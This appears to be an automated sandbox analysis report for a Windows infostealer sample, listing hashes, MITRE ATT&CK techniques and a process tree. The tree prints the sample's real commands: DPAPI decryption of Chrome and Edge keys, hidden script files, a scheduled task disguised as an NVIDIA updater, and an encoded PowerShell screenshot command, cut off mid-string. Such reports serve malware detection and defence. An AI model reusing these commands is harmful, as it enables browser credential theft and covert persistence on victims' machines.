e91714af63e4b37a61fa2299d066f30f621a4bc38b4138afe5453a4be603ff36

Analysis

max time kernel
150s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 04:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Size 60.8MB
Sample260826-fdpr2ayyc1
SHA256 e91714af63e4b37a61fa2299d066f30f621a4bc38b4138afe5453a4be603ff36
MD5 e5d136cadb1648a9a684015a5d3ff590
SHA1 af08804571ee58eb24686bf114703d732ae629a6
SHA512 af42f486af7c6b58e7ce960592d57a346c6060e014c6cb2eec3a05be96034ab9caf5a7658bb23931133ed6e5a1f823955d5c2b33aa9d950cfb5d5bb6a05f2990
SSDEEP 786432:jMguj8Q4VfvHqFTrY5VoVnD/WyKqPbyRP1F:jiAQIHHkH3jQbP1F
TLSH
T175D79D0633E601A2E5B392768A9B4103EB32B4575735CBDB318C43542FABFF49A7A750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
4748	cmd.exe
1128	cmd.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2452	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2852	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1304	powershell.exe
1204	powershell.exe
6000	powershell.exe

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4320	cmd.exe
3728	cmd.exe
3820	cmd.exe
2020	cmd.exe
5148	cmd.exe
4748	cmd.exe
1784	cmd.exe
1604	cmd.exe
3760	cmd.exe
1128	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6008	schtasks.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
2852	powershell.exe
2852	powershell.exe
6000	powershell.exe
6000	powershell.exe
6000	powershell.exe
3144	powershell.exe
3144	powershell.exe
3144	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
1204	powershell.exe
1204	powershell.exe
1204	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeIncreaseQuotaPrivilege	2852	powershell.exe
Token: SeSecurityPrivilege	2852	powershell.exe
Token: SeTakeOwnershipPrivilege	2852	powershell.exe
Token: SeLoadDriverPrivilege	2852	powershell.exe
Token: SeSystemProfilePrivilege	2852	powershell.exe
Token: SeSystemtimePrivilege	2852	powershell.exe
Token: SeProfSingleProcessPrivilege	2852	powershell.exe
Token: SeIncBasePriorityPrivilege	2852	powershell.exe
Token: SeCreatePagefilePrivilege	2852	powershell.exe
Token: SeBackupPrivilege	2852	powershell.exe
Token: SeRestorePrivilege	2852	powershell.exe
Token: SeShutdownPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeSystemEnvironmentPrivilege	2852	powershell.exe
Token: SeRemoteShutdownPrivilege	2852	powershell.exe
Token: SeUndockPrivilege	2852	powershell.exe
Token: SeManageVolumePrivilege	2852	powershell.exe
Token: 33	2852	powershell.exe
Token: 34	2852	powershell.exe
Token: 35	2852	powershell.exe
Token: 36	2852	powershell.exe
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	2452	tasklist.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeIncreaseQuotaPrivilege	6000	powershell.exe
Token: SeSecurityPrivilege	6000	powershell.exe
Token: SeTakeOwnershipPrivilege	6000	powershell.exe
Token: SeLoadDriverPrivilege	6000	powershell.exe
Token: SeSystemProfilePrivilege	6000	powershell.exe
Token: SeSystemtimePrivilege	6000	powershell.exe
Token: SeProfSingleProcessPrivilege	6000	powershell.exe
Token: SeIncBasePriorityPrivilege	6000	powershell.exe
Token: SeCreatePagefilePrivilege	6000	powershell.exe
Token: SeBackupPrivilege	6000	powershell.exe
Token: SeRestorePrivilege	6000	powershell.exe
Token: SeShutdownPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeSystemEnvironmentPrivilege	6000	powershell.exe
Token: SeRemoteShutdownPrivilege	6000	powershell.exe
Token: SeUndockPrivilege	6000	powershell.exe
Token: SeManageVolumePrivilege	6000	powershell.exe
Token: 33	6000	powershell.exe
Token: 34	6000	powershell.exe
Token: 35	6000	powershell.exe
Token: 36	6000	powershell.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeDebugPrivilege	1204	powershell.exe
Token: SeIncreaseQuotaPrivilege	6000	powershell.exe
Token: SeSecurityPrivilege	6000	powershell.exe
Token: SeTakeOwnershipPrivilege	6000	powershell.exe
Token: SeLoadDriverPrivilege	6000	powershell.exe
Token: SeSystemProfilePrivilege	6000	powershell.exe
Token: SeSystemtimePrivilege	6000	powershell.exe
Token: SeProfSingleProcessPrivilege	6000	powershell.exe
Token: SeIncBasePriorityPrivilege	6000	powershell.exe
Token: SeCreatePagefilePrivilege	6000	powershell.exe
Token: SeBackupPrivilege	6000	powershell.exe
Token: SeRestorePrivilege	6000	powershell.exe
Token: SeShutdownPrivilege	6000	powershell.exe
Token: SeDebugPrivilege	6000	powershell.exe
Token: SeSystemEnvironmentPrivilege	6000	powershell.exe
Token: SeRemoteShutdownPrivilege	6000	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2724 wrote to memory of 1604	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	89
PID 1604 wrote to memory of 1260	1604	cmd.exe	91
PID 1260 wrote to memory of 1548	1260	net.exe	92
PID 2724 wrote to memory of 2020	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	93
PID 2020 wrote to memory of 2852	2020	cmd.exe	95
PID 2724 wrote to memory of 6000	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	97
PID 2724 wrote to memory of 5148	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	98
PID 5148 wrote to memory of 2452	5148	cmd.exe	101
PID 6000 wrote to memory of 4964	6000	powershell.exe	102
PID 2724 wrote to memory of 4748	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	103
PID 4748 wrote to memory of 3144	4748	cmd.exe	105
PID 2724 wrote to memory of 1784	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	106
PID 1784 wrote to memory of 1304	1784	cmd.exe	108
PID 1304 wrote to memory of 2092	1304	powershell.exe	109
PID 2092 wrote to memory of 5504	2092	csc.exe	110
PID 2724 wrote to memory of 3760	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	111
PID 3760 wrote to memory of 1204	3760	cmd.exe	113
PID 2724 wrote to memory of 1128	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	114
PID 1128 wrote to memory of 4684	1128	cmd.exe	116
PID 6000 wrote to memory of 6008	6000	powershell.exe	117
PID 2724 wrote to memory of 4320	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	118
PID 4320 wrote to memory of 5828	4320	cmd.exe	120
PID 2724 wrote to memory of 3728	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	123
PID 3728 wrote to memory of 4600	3728	cmd.exe	125
PID 2724 wrote to memory of 3820	2724	2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe	126
PID 3820 wrote to memory of 4872	3820	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4964	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-25_e5d136cadb1648a9a684015a5d3ff590_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like 'NVIDIA_SelfUpdate_*'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_55iOxLod.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6000
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_55iOxLod.vbs
    3⤵
    - Views/modifies file attributes
    PID:4964
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /tn NVIDIA_SelfUpdate_{88998013} /xml C:\Users\Admin\AppData\Local\Temp\tmpBE55.tmp.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5148
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,93,84,195,46,164,192,237,72,165,253,56,123,128,107,242,17,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,179,168,172,44,248,112,192,169,137,16,156,60,168,212,143,40,149,63,29,214,20,78,71,186,230,215,46,232,214,30,70,31,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,16,102,85,129,119,48,149,206,196,134,21,132,129,100,51,129,56,201,12,124,219,69,173,74,102,252,57,36,170,194,55,169,48,0,0,0,129,131,255,185,215,251,210,191,202,253,48,63,122,23,202,103,188,152,49,49,206,220,19,65,174,129,129,13,43,31,60,40,106,93,74,108,167,94,42,4,79,128,227,28,206,34,188,233,64,0,0,0,184,114,9,22,43,20,196,205,106,248,137,23,83,93,225,123,235,252,234,185,46,155,88,116,165,220,139,215,220,222,100,74,147,136,104,71,131,166,235,249,84,190,116,144,96,91,188,124,3,8,35,125,144,35,141,95,44,81,165,108,101,88,126,254), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,93,84,195,46,164,192,237,72,165,253,56,123,128,107,242,17,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,179,168,172,44,248,112,192,169,137,16,156,60,168,212,143,40,149,63,29,214,20,78,71,186,230,215,46,232,214,30,70,31,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,16,102,85,129,119,48,149,206,196,134,21,132,129,100,51,129,56,201,12,124,219,69,173,74,102,252,57,36,170,194,55,169,48,0,0,0,129,131,255,185,215,251,210,191,202,253,48,63,122,23,202,103,188,152,49,49,206,220,19,65,174,129,129,13,43,31,60,40,106,93,74,108,167,94,42,4,79,128,227,28,206,34,188,233,64,0,0,0,184,114,9,22,43,20,196,205,106,248,137,23,83,93,225,123,235,252,234,185,46,155,88,116,165,220,139,215,220,222,100,74,147,136,104,71,131,166,235,249,84,190,116,144,96,91,188,124,3,8,35,125,144,35,141,95,44,81,165,108,101,88,126,254), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\decrypt_ORsdbepV.ps1""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\decrypt_ORsdbepV.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ij2ewxfi\ij2ewxfi.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2092
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB879.tmp" "c:\Users\Admin\AppData\Local\Temp\ij2ewxfi\CSC903CD48BF7C145E3858C34F1E6A7CFC3.TMP"
        5⤵
        
        PID:5504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\decrypt_dpapi_8P5O5sVf.ps1""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\decrypt_dpapi_8P5O5sVf.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,93,84,195,46,164,192,237,72,165,253,56,123,128,107,242,17,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,62,73,240,81,82,196,35,206,62,104,243,90,134,103,76,216,71,101,0,219,225,154,195,148,255,33,67,142,92,136,43,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,50,215,37,171,94,154,222,246,73,93,239,245,169,186,201,88,69,44,11,182,169,171,236,82,139,213,67,191,136,212,235,67,48,0,0,0,57,134,198,73,9,222,80,169,4,249,2,187,107,215,48,114,60,143,240,70,201,243,167,96,149,191,80,244,236,52,158,40,153,65,214,214,112,51,111,73,186,36,129,8,123,71,106,195,64,0,0,0,91,187,98,63,216,36,164,18,233,157,214,36,126,79,180,114,235,66,35,31,157,12,200,87,214,134,179,247,43,22,36,52,207,209,146,55,103,36,58,176,113,213,36,30,30,222,151,6,173,138,154,172,231,158,2,167,107,226,133,150,61,132,32,223), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,93,84,195,46,164,192,237,72,165,253,56,123,128,107,242,17,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,62,73,240,81,82,196,35,206,62,104,243,90,134,103,76,216,71,101,0,219,225,154,195,148,255,33,67,142,92,136,43,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,50,215,37,171,94,154,222,246,73,93,239,245,169,186,201,88,69,44,11,182,169,171,236,82,139,213,67,191,136,212,235,67,48,0,0,0,57,134,198,73,9,222,80,169,4,249,2,187,107,215,48,114,60,143,240,70,201,243,167,96,149,191,80,244,236,52,158,40,153,65,214,214,112,51,111,73,186,36,129,8,123,71,106,195,64,0,0,0,91,187,98,63,216,36,164,18,233,157,214,36,126,79,180,114,235,66,35,31,157,12,200,87,214,134,179,247,43,22,36,52,207,209,146,55,103,36,58,176,113,213,36,30,30,222,151,6,173,138,154,172,231,158,2,167,107,226,133,150,61,132,32,223), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABNAGkAYwByAG8AcwBvAGYAdABcAFUAcwBlAHIAUwBlAHQAdABpAG4AZwBzAFwAbwBHAHkARwBQAHkAYQBlADMAbABcAEUATgAtAFoAYwBzAGQAdQBnAHcAZwBcAFMAYwByAGUAZQBuAHMAaABvAHQAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgAsACAAWwBTAHkAcwB0AG